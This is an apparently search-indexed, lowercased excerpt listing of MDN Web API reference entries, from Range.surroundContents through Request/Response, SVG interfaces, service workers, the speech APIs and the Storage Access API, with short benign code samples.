newnode). after surrounding, the boundary points of the range include
newnode. an exception will be thrown, however, if the range splits a non-text node with only one of its boundary points. that is, unlike the alternative above, if there are partially selected nodes, they will not be cloned and instead the operation will fail. syntax range.surroundcontents(
newparent); parameters
newparent a node with which to surround the contents. example html <span class="header-text">put this in a headline</span> javascript const range = document.createran...
...oundary points. that is, unlike the alternative above, if there are partially selected nodes, they will not be cloned and instead the operation will fail. syntax range.surroundcontents(
newparent); parameters
newparent a node with which to surround the contents. example html <span class="header-text">put this in a headline</span> javascript const range = document.createrange(); const
newparent = document.createelement('h1'); range.selectnode(document.queryselector('.header-text')); range.surroundcontents(
newparent); result specifications specification status comment domthe definition of 'range.surroundcontents()' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe d...
ReadableStream.ReadableStream() - Web APIs
underlyingsource can contain the following: start(controller) this is a method, called immediately when the object is constructed. the contents of this method are defined by the developer, and should aim to get access to the stream source, and do anything else required to set up the stream fuctionality. ...
...rates a random string of text every second and enqueues it into the stream. a cancel() fuction is also provided to stop the generation if readablestream.cancel() is called for any reason. when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream. ...
ReadableStreamDefaultReader.read() - Web APIs
ome more, and call this function again return reader.read().then(processtext); }); } example 2 - handling text line by line this example shows how you might fetch a text file and handle it as a stream of text lines. it deals with stream chunks not ending on line boundaries and converting from uint8array to strings. ...
... living standard initial definition. ...
ReadableStreamDefaultReader - Web APIs
er.releaselock() releases the reader's lock on the stream. examples in the following example, an artifical response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. ...
... living standard initial definition ...
Report - Web APIs
the report interface of the reporting api represents a single report. reports can be accessed in a number of ways: via the reportingobserver.takerecords() method — this returns all reports in an observer's report queue, and then empties the queue. via the reports parameter of the callback function passed into the reportingobserver() constructor upon creation of a
new observer instance. this contains the list of reports currently contained in the observer's report queue. by sending requests to the endpoints defined via the report-to http header. properties report.body read only the body of the report, which is a reportbody object containing the detailed report information. report.type read only the type of report generated, e.g. deprecation or intervention. report...
...l read only the url of the document that generated the report. methods this interface has no methods defined on it. events this interface has no events that fire on it. ...
ReportingObserver() - Web APIs
via reportingobserver.observe()). the callback function is given two parameters: reports: a sequence of report objects representing the reports collected in the observer's report queue. this is probably the most common way to retrieve the reports. observer: a reference to the same reportingobserver object, allowing for recursive report collection, etc. ...
...erver. available types include deprecation, intervention, and crash (although this last type usually isn't retrievable via a reportingobserver). buffered: a boolean that defines whether the reports that were generated before the observer was able to be created should be observable (true) or not (false). examples let options = { types: ['deprecation'], buffered: true } let observer =
new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); specifications specification status comment reporting apithe definition of 'reportingobserver()' in that specification. editor's draft ...
ReportingObserver - Web APIs
properties this interface has no properties defined on it. methods reportingobserver.disconnect() stops a reporting observer that had previously started observing from collecting reports. reportingobserver.observe() instructs a reporting observer to start collecting reports in its report queue. ...
...ver.takerecords() returns the current list of reports contained in the observer's report queue, and empties the queue. events this interface has no events that fire on it. ...
Request.clone() - Web APIs
the clone() method of the request interface creates a copy of the current request object. clone() throws a typeerror if the response body has already been used. in fact, the main reason clone() exists is to allow multiple uses of body objects (when they are one-use only.) if intend to modify the request, you may prefer the request constructor. syntax var
newrequest = request.clone(); parameters none. ...
...sed. in fact, the main reason clone() exists is to allow multiple uses of body objects (when they are one-use only.) if intend to modify the request, you may prefer the request constructor. syntax var
newrequest = request.clone(); parameters none. return value a request object, which is an exact copy of the request that clone() was called on. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then clone the request. var myrequest =
new request('flowers.jpg'); var
newrequest = myrequest.clone(); // a copy of the request is now stored in
newrequest specifications specification status comment fetchthe definition of 'clone' in that specification. living st...
Request.context - Web APIs
url is for an image, or an embeddable object such as a <video>, iframe, etc. ...
...ext frame types, csp directives, and platform feature examples in the fetch spec request context section. syntax var mycontext = request.context; value a requestcontext value. ...
Request.credentials - Web APIs
me-origin: send user credentials (cookies, basic http auth, etc..) if the url is on the same origin as the calling script. this is the default value. include: always send user credentials (cookies, basic http auth, etc..), even for cross-origin calls. this is similar to xhr’s withcredentials flag, but with three available values instead of two. ...
...r credentials (cookies, basic http auth, etc..), even for cross-origin calls. this is similar to xhr’s withcredentials flag, but with three available values instead of two. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the request credentials in a variable: var myrequest =
new request('flowers.jpg'); var mycred = myrequest.credentials; // returns "same-origin" by default specifications specification status comment fetchthe definition of 'credentials' in that specification. living standard initial definition ...
Request.referrerPolicy - Web APIs
est interface returns the referrer policy, which governs what referrer information, sent in the referer header, should be included with the request. syntax var myreferrerpolicy = request.referrerpolicy; value a domstring representing the request's referrerpolicy. for more information and possible values, see the referrer-policy http header page. ...
...= request.referrerpolicy; value a domstring representing the request's referrerpolicy. for more information and possible values, see the referrer-policy http header page. example in the following snippet, we create a
new request using the request.request() constructor (for an image file in the same directory as the script), then save the request referrer policy in a variable: var myrequest =
new request('flowers.jpg'); var myreferrer = myrequest.referrerpolicy; // returns "" by default specifications specification status comment fetchthe definition of 'referrerpolicy' in that specification. living standard initial definition ...
ResizeObserver - Web APIs
rther explanation. resizeobserver avoids infinite callback loops and cyclic dependencies that are often created when resizing via a callback function. it does this by only processing elements deeper in the dom in subsequent frames. implementations should, if they follow the specification, invoke resize events before paint and after layout. constructor resizeobserver() creates and returns a
new resizeobserver object. properties none. methods resizeobserver.disconnect() unobserves all observed element targets of a particular observer. resizeobserver.observe() initiates the observing of a specified element. resizeobserver.unobserve() ends the observing of a specified element. examples in the resize-observer-text.html (see source) example, we use the resize observer to chang...
...cument.queryselector('h1'); const pelem = document.queryselector('p'); const divelem = document.queryselector('body > div'); const slider = document.queryselector('input[type="range"]'); const checkbox = document.queryselector('input[type="checkbox"]'); divelem.style.width = '600px'; slider.addeventlistener('input', () => { divelem.style.width = slider.value + 'px'; }) const resizeobserver =
new resizeobserver(entries => { for (const entry of entries) { if (entry.contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.contentboxsize.inlinesize / 200) + 'rem'; pelem.style.fontsize = math.max(1, entry.contentboxsize.inlinesize / 600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.contentrect.width / 200) + 'rem'; pelem.style.fontsize =...
Using the Resource Timing API - Web APIs
ingbufferfull") when the browser's resource performance entry buffer is full. the following code example sets a onresourcetimingbufferfull event callback in the init() function. ...
...ets a onresourcetimingbufferfull event callback in the init() function. function buffer_full(event) { console.log("warning: resource timing buffer is full!"); set_resource_timing_buffer_size(200); } function init() { // load some image to trigger "resource" fetch events var image1 =
new image(); image1.src = "https://developer.mozilla.org/static/img/opengraph-logo.png"; var image2 =
new image(); image2.src = "http://mozorg.cdn.mozilla.net/media/img/firefox/firefox-256.e2c1fc556816.jpg" // set a callback if the resource buffer becomes filled performance.onresourcetimingbufferfull = buffer_full; } coping with cors when cors is in effect, many of the timing properties' values are returned as zero unless the server's access policy permits these values to be shared. this re...
Response.clone() - Web APIs
but stored in a different variable. clone() throws a typeerror if the response body has already been used. in fact, the main reason clone() exists is to allow multiple uses of body objects (when they are one-use only.) syntax var response2 = response1.clone(); parameters none. value a response object. example in our fetch response clone example (see fetch response clone live) we create a
new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(). when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements. var image1 = document.queryselector('.img1'); var image2 = d...
...passing it a jpg path. we then fetch this request using fetch(). when the fetch resolves successfully, we clone it, extract a blob from both responses using two body.blob calls, create object urls out of the blobs using url.createobjecturl, and display them in two separate <img> elements. ...
Response.headers - Web APIs
the headers read-only property of the response interface contains the headers object associated with the response. syntax var myheaders = response.headers; value a headers object. example in our fetch response example (see fetch response live) we create a
new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. ...
... object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response headers value to the console. var myimage = document.queryselector('img'); var myrequest =
new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification. living st...
Response.ok - Web APIs
the ok read-only property of the response interface contains a boolean stating whether the response was successful (status in the range 200-299) or not. syntax var myok = response.ok; value a boolean. example in our fetch response example (see fetch response live) we create a
new request object using the request() constructor, passing it a jpg path. ...
...request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note: at the top of the fetch() block we log the response ok value to the console. ...
Response.status - Web APIs
the status read-only property of the response interface contains the status code of the response (e.g., 200 for a success). syntax var mystatus = response.status; value a number (to be precise, an unsigned short). example in our fetch response example (see fetch response live) we create a
new request object using the request() constructor, passing it a jpg path. ...
...t object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response status value to the console. var myimage = document.queryselector('img'); var myrequest =
new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'status' in that specification. living standard initial...
Response.statusText - Web APIs
the statustext read-only property of the response interface contains the status message corresponding to the status code (e.g., ok for 200). syntax var mystatustext = response.statustext; value a bytestring. the default value is "". example in our fetch response example (see fetch response live) we create a
new request object using the request() constructor, passing it a jpg path. ...
...ject using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response statustext value to the console. ...
Response.url - Web APIs
the url read-only property of the response interface contains the url of the response. the value of the url property will be the final url obtained after any redirects. syntax var myurl = response.url; value a usvstring. example in our fetch response example (see fetch response live) we create a
new request object using the request() constructor, passing it a jpg path. ...
...ew request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response url to the console. var myimage = document.queryselector('img'); var myrequest =
new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'url' in that specification. l...
SVGAnimationElement - Web APIs
e zero for the given time container. svganimationelement.getsimpleduration() returns a float representing the number of seconds for the simple duration for this animation. if the simple duration is undefined (e.g., the end time is indefinite), then a domexception with code not_supported_err is raised. svganimationelement.beginelement() creates a begin instance time for the current time. the
new instance time is added to the begin instance times list. the behavior of this method is equivalent to beginelementat(0). svganimationelement.beginelementat() creates a begin instance time for the current time plus the specified offset. the
new instance time is added to the begin instance times list. svganimationelement.endelement() creates an end instance time for the current time. ...
...tance time is added to the begin instance times list. the behavior of this method is equivalent to beginelementat(0). svganimationelement.beginelementat() creates a begin instance time for the current time plus the specified offset. the
new instance time is added to the begin instance times list. svganimationelement.endelement() creates an end instance time for the current time. the
new instance time is added to the end instance times list. the behavior of this method is equivalent to endelementat(0). svganimationelement.endelementat() creates a end instance time for the current time plus the specified offset. the
new instance time is added to the end instance times list. events listen to these events using addeventlistener() or by assigning an event listener to the on.
SVGFETurbulenceElement - Web APIs
onsolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgfeturbulenceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants turbulence types name value description svg_turbulence_type_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_turbulence_type_fractalnoise 1 corresponds to the fractalnoise value. svg_turbulence_type_turbulence 2 corresponds to turbulence value. stitch options name value description svg_stitchtype_unknown 0 the type is not one of predefined types. it is invali...
... attempt to switch an existing value to this type. svg_turbulence_type_fractalnoise 1 corresponds to the fractalnoise value. svg_turbulence_type_turbulence 2 corresponds to turbulence value. stitch options name value description svg_stitchtype_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_stitchtype_stitch 1 corresponds to the stitch value. svg_stitchtype_nostitch 2 corresponds to nostitch value. properties this interface also inherits properties from its parent interface, svgelement, and also implements properties of svgfilterprimitivestandardattributes. svgfetu...
SVGMarkerElement - Web APIs
normative document svg 1.1 (2nd edition) constants orientation name value description svg_marker_orient_unknown 0 the marker orientation is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_marker_orient_auto 1 attribute orient has value 'auto'. svg_marker_orient_angle 2 attribute orient has an angle value. units name value ...
... svg_marker_orient_angle 2 attribute orient has an angle value. units name value description svg_markerunits_unknown 0 the marker unit type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_markerunits_userspaceonuse 1 attribute markerunits is 'userspaceonuse'. svg_markerunits_strokewidth 2 attribute markerunits is 'strokewidth'. properties this interface also inhe...
SVGPreserveAspectRatio - Web APIs
atio_xmaxymax = 10 svg_meetorslice_unknown = 0 svg_meetorslice_meet = 1 svg_meetorslice_slice = 2 normative document svg 1.1 (2nd edition) constants name value description svg_preserveaspectratio_unknown 0 the enumeration was set to a value that is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_preserveaspectratio_none 1 corresponds to value none for attribute preserveaspectratio. svg_preserveaspectratio_xminymin 2 corresponds to value xminymin for attribute preserveaspectratio. svg_preserveaspectratio_xmidymin 3 corresponds to value xmidymin for attribute preserve...
...eserveaspectratio. svg_preserveaspectratio_xmidymax 9 corresponds to value xmidymax for attribute preserveaspectratio. svg_preserveaspectratio_xmaxymax 10 corresponds to value xmaxymax for attribute preserveaspectratio. svg_meetorslice_unknown 0 the enumeration was set to a value that is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_meetorslice_meet 1 corresponds to value meet for attribute preserveaspectratio. svg_meetorslice_slice 2 corresponds to value slice for attribute preserveaspectratio. properties name type description align unsigned short the type of the alignment va...
SVGTextPathElement - Web APIs
amily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextpathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constants method types name value description textpath_methodtype_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. textpath_methodtype_align 1 corresponds to the value align. textpath_methodtype_stretch 2 corresponds to the value stretch. spacing types name value description textpath_spacingtype_unknown 0 the type is not one of predefined types. it is invalid to attemp...
... type or to attempt to switch an existing value to this type. textpath_methodtype_align 1 corresponds to the value align. textpath_methodtype_stretch 2 corresponds to the value stretch. spacing types name value description textpath_spacingtype_unknown 0 the type is not one of predefined types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. textpath_spacingtype_auto 1 corresponds to the value auto. textpath_spacingtype_exact 2 corresponds to the value exact. properties this interface also inherits properties from its parent interface, svgtextcontentelement, and also implements properties of svgurireference. svgtextpath...
SVGTransform - Web APIs
= 1 svg_transform_translate = 2 svg_transform_scale = 3 svg_transform_rotate = 4 svg_transform_skewx = 5 svg_transform_skewy = 6 normative document svg 1.1 (2nd edition) constants name value description svg_transform_unknown 0 the unit type is not one of predefined unit types. it is invalid to attempt to define a
new value of this type or to attempt to switch an existing value to this type. svg_transform_matrix 1 a matrix(…) transformation svg_transform_translate 2 a translate(…) transformation svg_transform_scale 3 a scale(…) transformation svg_transform_rotate 4 a rotate(…) transformation svg_transform_skewx 5 a skewx(…) tr...
...sform_rotate, a, b, c, d, e and f together represent the matrix which will result in the given rotation. when the rotation is around the center point (0, 0), e and f will be zero. methods name & arguments return description setmatrix(in svgmatrix matrix) void sets the transform type to svg_transform_matrix, with parameter matrix defining the
new transformation. note that the values from the parameter matrix are copied. exceptions: a domexception with code no_modification_allowed_err is raised when attempting to modify a read only attribute or when the object itself is read only. settranslate(in float tx , in float ty) void sets the transform type to svg_transform_translate, with parameters tx ...
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
eventinitdict optional a dictionary object containing information about the properties of the securitypolicyviolationevent to be constructed. this can include the following properties, but bear in mind that if you do include an eventinitdict, certain properties must be included (marked below with required): blockeduri: the blockeduri of the securitypolicyviolationevent. if not included, the default value is "". ...
...cluded, the default value is "". sourcefile: the sourcefile of the securitypolicyviolationevent. if not included, the default value is "". statuscode: the statuscode of the securitypolicyviolationevent (required). violateddirective: the violateddirective of the securitypolicyviolationevent (required). return value a securitypolicyviolationevent object instance. example let spvevt =
new securitypolicyviolationevent('foo', { ... }); specifications specification status comment content security policy level 3the definition of 'securitypolicyviolationevent' in that specification. working draft initial definition ...
Selection.type - Web APIs
e of the current selection. syntax value = sel.type value a domstring describing the type of the current selection. possible values are: none: no selection has currently been made. caret: the selection is collapsed (i.e. the caret is placed on some text, but no range has been selected). range: a range has been selected. ...
...ome text, but no range has been selected). range: a range has been selected. example in this example, the event handler will fire each time a
new selection is made. console.log(selection.type) will return caret or range depending on whether the caret is placed at a single point in the text, or a range has been selected. var selection; document.onselectionchange = function() { console.log('
new selection made'); selection = document.getselection(); console.log(selection.type); }; specifications specification status comment selection apithe definition of 'selection.type' in that specification. working draft current ...
Selection API - Web APIs
n it, for example copying the selection to a text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or removing one) with selection.addrange()/selection.removerange(), or changing the selection to be the entire contents of a dom node using selection.selectallchildren(). you can run code in response to the selection being changed, or a
new selection being started, using the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event handlers. selection api interfaces selection represents the range of text selected by the user or the current position of the caret. extensions to other interfaces window.getselection(), document.getselection() returns a selection object representing the range of text...
...interfaces window.getselection(), document.getselection() returns a selection object representing the range of text selected by the user or the current position of the caret. document.getselection() is basically an alias of window.getselection(). globaleventhandlers.onselectstart represents the event handler that is called when a selectstart event is fired on the current object (i.e. when a
new range of text is about to be selected by the user). globaleventhandlers.onselectionchange represents the event handler that is called when a selectionchange event is fired on the current object (i.e. when the selected text range changes). specifications specification status comment selection apithe definition of 'selection' in that specification. working draft ...
ServiceWorkerContainer - Web APIs
a service worker is active. it returns a promise that will never reject, and which waits indefinitely until the serviceworkerregistration associated with the current page has an serviceworkerregistration.active worker. once that condition is met, it resolves with the serviceworkerregistration. events controllerchange occurs when the document's associated serviceworkerregistration acquires a
new active worker. also available via the serviceworkercontainer.oncontrollerchange property. error fired whenever an error occurs in the associated service workers. also available via the serviceworkercontainer.onerror property. message occurs when incoming messages are received by the serviceworkercontainer object (e.g. via a messageport.postmessage() call.) also available via the servicewor...
...on about whether the current page is controlled // by an existing service worker, and when that // controller changes. // first, do a one-off check if there's currently a // service worker in control. if (navigator.serviceworker.controller) { console.log('this page is currently controlled by:', navigator.serviceworker.controller); } // then, register a handler to detect when a
new or // updated service worker takes control. navigator.serviceworker.oncontrollerchange = function() { console.log('this page is now controlled by:', navigator.serviceworker.controller); }; } else { console.log('service workers are not supported.'); } specifications specification status comment service workersthe definition of 'serviceworkercontainer' in that ...
ServiceWorkerGlobalScope - Web APIs
contains the clients object associated with the service worker. serviceworkerglobalscope.registration read only contains the serviceworkerregistration object that represents the service worker's registration. serviceworkerglobalscope.caches read only contains the cachestorage object associated with the service worker. events activate occurs when a serviceworkerregistration acquires a
new serviceworkerregistration.active worker. also available via the serviceworkerglobalscope.onactivate property. contentdelete occurs when an item is removed from the content index. also available via the serviceworkerglobalscope.oncontentdelete property. fetch occurs when a fetch() is called. also available via the serviceworkerglobalscope.onfetch property. install occurs when a servicewo...
...ctive worker. also available via the serviceworkerglobalscope.onactivate property. contentdelete occurs when an item is removed from the content index. also available via the serviceworkerglobalscope.oncontentdelete property. fetch occurs when a fetch() is called. also available via the serviceworkerglobalscope.onfetch property. install occurs when a serviceworkerregistration acquires a
new serviceworkerregistration.installing worker. also available via the serviceworkerglobalscope.oninstall property. message occurs when incoming messages are received. controlled pages can use the messageport.postmessage() method to send messages to service workers. the service worker can optionally send a response back via the messageport exposed in event.data.port, corresponding to the controll...
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
important: in modern browsers, this property has been deprecated. service worker messages will now use the messageevent interface, for consistency with other web messaging features. the serviceworkermessageevent() constructor creates a
new serviceworkermessageevent object instance. syntax var myswme =
new serviceworkermessageevent(type, init); parameters type a domstring that defines the type of the message event being created. init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any type. origin: a domstring that defines the origin of the corresponding service worker's environment settings object. lasteventid: a domstring that defines the last event id of the event source. source: the servicewor...
...that defines the last event id of the event source. source: the serviceworker or messageport that sent the message. ports: an array containing the messageport objects connected to the channel sending the message. examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myswme =
new serviceworkermessageevent('message', init); ...
ServiceWorkerMessageEvent - Web APIs
rviceworkercontainer target. this extends the default message event to allow setting a serviceworker object as the source of a message. the event object is accessed via the handler function of a message event, when fired by a message received from a service worker. this interface inherits from the event interface. constructor serviceworkermessageevent.serviceworkermessageevent() creates a
new serviceworkermessageevent object instance. properties inherits properties from its parent, event. serviceworkermessageevent.data read only returns the event's data. it can be any data type. serviceworkermessageevent.origin read only returns the origin of the service worker's environment settings object. serviceworkermessageevent.lasteventid read only represents, in server-sent...
...ods from its parent, event. ...
SharedWorker() - Web APIs
eates a sharedworker object that executes the script at the specified url. this script must obey the same-origin policy. note: there is disagreement among browser manufacturers about whether a data uri is of the same origin or not. although gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers. syntax var myworker =
new sharedworker(aurl, name); var myworker =
new sharedworker(aurl, options); parameters aurl a domstring representing the url of the script the worker will execute. it must obey the same-origin policy. name optional a domstring specifying an identifying name for the sharedworkerglobalscope representing the scope of the worker, which is mainly useful for debugging purposes. options optional ...
...l has an invalid syntax or if the same-origin policy is violated. a networkerror is raised if the mime type of the worker script is incorrect. it should always be text/javascript. a syntaxerror is raised if aurl cannot be parsed. ...
SourceBuffer.abort() - Web APIs
ffer, and then immediately start performing operations on it again. for example, consider this code: sourcebuffer.addeventlistener('updateend', function (_) { ... }); sourcebuffer.appendbuffer(buf); let's say that after the call to appendbuffer but before the updateend event fires (i.e. a buffer is being appended but the operation has not yet completed) a user "scrubs" the video seeking to a
new point in time. in this case you would want to manually call abort() on the source buffer to stop the decoding of the current buffer, then fetch and append the
newly requested segment that relates to the current
new position of the video. you can see something similar in action in nick desaulnier's bufferwhenneeded demo — in line 48, an event listener is added to the playing video so a functio...
...w position of the video. you can see something similar in action in nick desaulnier's bufferwhenneeded demo — in line 48, an event listener is added to the playing video so a function called seek() is run when the seeking event fires. in lines 92-101, the seek() function is defined — note that abort() is called if mediasource.readystate is set to open, which means that it is ready to receive
new source buffers — at this point it is worth aborting the current segment and just getting the one for the
new seek position (see checkbuffer() and getcurrentsegment().) specifications specification status comment media source extensionsthe definition of 'abort()' in that specification. recommendation initial definition. ...
SpeechGrammar.SpeechGrammar() - Web APIs
the speechgrammar constructor of the speechgrammar interface creates a
new speechgrammar object instance. syntax var myspeechgrammar =
new speechgrammar(); parameters none. ...
... bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition =
new speechrecognition(); var speechrecognitionlist =
new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var
newgrammar =
new speechgrammar();
newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecognitionlist[1] =
newgrammar; // should add the
new speechgrammar object to the list specificat...
SpeechRecognition: start event - Web APIs
hrecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. ...
... the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. ...
SpeechSynthesis.cancel() - Web APIs
the cancel() method of the speechsynthesis interface removes all utterances from the utterance queue. if an utterance is currently being spoken, speaking will stop immediately. syntax speechsynthesisinstance.cancel(); returns void. parameters none. ...
...hesis interface removes all utterances from the utterance queue. if an utterance is currently being spoken, speaking will stop immediately. syntax speechsynthesisinstance.cancel(); returns void. parameters none. examples var synth = window.speechsynthesis; var utterance1 =
new speechsynthesisutterance('how about we say this now? this is quite a long sentence to say.'); var utterance2 =
new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification. draft ...
SpeechSynthesis.pending - Web APIs
the pending read-only property of the speechsynthesis interface is a boolean that returns true if the utterance queue contains as-yet-unspoken utterances. syntax var amipending = speechsynthesisinstance.pending; value a boolean. ...
...ad-only property of the speechsynthesis interface is a boolean that returns true if the utterance queue contains as-yet-unspoken utterances. syntax var amipending = speechsynthesisinstance.pending; value a boolean. ...
SpeechSynthesis.speak() - Web APIs
the utterance queue; it will be spoken when any other utterances queued before it have been spoken. syntax speechsynthesisinstance.speak(utterance); returns void. parameters utterance a speechsynthesisutterance object. examples this snippet is excerpted from our speech synthesiser demo. ...
...object. examples this snippet is excerpted from our speech synthesiser demo. when a form containing the text we want to speak is submitted, we (amongst other things) create a
new utterance containing this text, then speak it by passing it into speak() as a parameter. var synth = window.speechsynthesis; ... ...
SpeechSynthesis.speaking - Web APIs
the speaking read-only property of the speechsynthesis interface is a boolean that returns true if an utterance is currently in the process of being spoken — even if speechsynthesis is in a paused state. syntax var amispeaking = speechsynthesisinstance.speaking; value a boolean. ...
... a boolean that returns true if an utterance is currently in the process of being spoken — even if speechsynthesis is in a paused state. syntax var amispeaking = speechsynthesisinstance.speaking; value a boolean. examples var synth = window.speechsynthesis; var utterance1 =
new speechsynthesisutterance('how about we say this now? this is quite a long sentence to say.'); var utterance2 =
new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web speech apithe definition of 'speaking' in that specification. dr...
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
the speechsynthesisutterance() constructor of the speechsynthesisutterance interface returns a
new speechsynthesisutterance object instance. syntax var utterthis =
new speechsynthesisutterance(text); parameters text a domstring containing the text that will be synthesized when the utterance is spoken.. examples the following snippet is excerpted from our speech synthesizer demo. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
...poken.. examples the following snippet is excerpted from our speech synthesizer demo. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
StaticRange - Web APIs
properties the properties below are inherited from its parent interface, abstractrange. staticrange.collapsed read only returns a boolean value which is true if the range's start and end positions are the same, resulting in a range of length 0. staticrange.endcontainer read only re...
... the range is found. staticrange.startcontainer read only returns the dom node which contains the starting point of the range (which is in turn identified by startoffset. staticrange.startoffset read only returns an integer value indicating the offset into the node specified by startcontainer at which the first character of the range is located. methods staticrange.torange() returns a
new range object which describes the same range as the source staticrange, but is "live" with values that change to reflect changes in the contents of the dom tree. usage notes a dom range specifies a span of content in a document, potentially beginning inside one node (or element) and ending inside another one. unlike a range, a staticrange represents a range which is fixed in time; it does not c...
StereoPannerNode.pan - Web APIs
note: though the audioparam returned is read-only, the value it represents is not. ...
...enode and a stereopannernode, and connect the two together using the connect() method. we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved. moving the slider left and right while the music is playing pans the music across to the left and right speakers of the output, respectively. ...
StereoPannerNode - Web APIs
(full left pan) and 1 (full right pan). this interface was introduced as a much simpler way to apply a simple panning effect than having to use a full pannernode. number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor stereopannernode() creates a
new instance of a stereopannernode object. properties inherits properties from its parent, audionode. stereopannernode.pan read only is an a-rate audioparam representing the amount of panning to apply. methods no specific method; inherits methods from its parent, audionode. example in our stereopannernode example (see source code) html we have a simple <audio> element along with a slider...
...enode and a stereopannernode, and connect the two together using the connect() method. we then use an oninput event handler to change the value of the stereopannernode.pan parameter and update the pan value display when the slider is moved. moving the slider left and right while the music is playing pans the music across to the left and right speakers of the output, respectively. ...
Storage Access API - Web APIs
storage access grants are phased out after 30 calendar days passing, whereas in safari the storage access grants are phased out after 30 days of browser usage passed without user interaction. this is currently a limitation of the firefox implementation, which we may address in a future version. in safari, successful use of the storage access api resets this counter. documentation for firefox's
new storage access policy for blocking tracking cookies includes a detailed description of the scope of storage access grants. storage access api methods the storage api methods are implemented on the document interface: document.hasstorageaccess() returns a promise that resolves with a boolean value indicating whether the document has access to its first-party storage. document.requeststorage...
